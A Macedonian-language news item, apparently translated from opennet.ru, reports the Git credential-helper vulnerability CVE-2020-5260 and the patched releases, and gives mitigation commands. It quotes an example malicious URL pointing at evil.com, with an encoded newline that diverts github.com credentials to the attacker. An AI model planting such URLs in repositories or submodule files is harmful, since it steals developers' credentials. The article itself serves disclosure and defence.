Ранливост на истекување на ингеренциите на Git

Објавено корективни изданија на системот за контрола на дистрибуирани извори Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 и 2.17.4, во која елиминираше ранливост (CVE-2020-5260) во управувачот "акредитив.помошник", што предизвикува акредитиви да се испраќаат до погрешен домаќин кога клиентот на git пристапува до складиштето користејќи специјално форматирана URL-адреса која содржи знак за нова линија. Ранливоста може да се користи за да се организираат акредитиви од друг домаќин да се испратат до сервер контролиран од напаѓачот.

Кога одредувате URL како „https://evil.com?%0ahost=github.com/“, управувачот со акредитиви кога се поврзува со домаќинот evil.com ќе ги пренесе параметрите за автентикација наведени за github.com. Проблемот се јавува кога се извршуваат операции како што е „git clone“, вклучувајќи обработка на URL-адреси за подмодули (на пример, „git submodule update“ автоматски ќе ги обработи URL-адресите наведени во датотеката .gitmodules од складиштето). Ранливоста е најопасна во ситуации кога развивачот клонира складиште без да ја види URL-то, на пример, кога работи со подмодули или во системи кои вршат автоматски дејства, на пример, во скрипти за создавање пакети.

За блокирање на пропусти во новите верзии забрането пренесување на знак за нова линија во која било вредност што се пренесува преку протоколот за размена на акредитиви. За дистрибуции, можете да го следите објавувањето на ажурирањата на пакетите на страниците Debian, Ubuntu, RHEL, SUSE/OPENSUSE, Fedora, Лак, FreeBSD.

Како решение за блокирање на проблемот се препорачува Не користете credential.helper кога пристапувате до јавни складишта и не користете „git clone“ во режимот „--recurse-submodules“ со непроверени складишта. Целосно да се оневозможи управувачот со credential.helper, што го прави зачувување и преземање лозинки од кешот, заштитени сводови или датотека со лозинки, можете да ги користите командите:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Извор: opennet.ru

Додадете коментар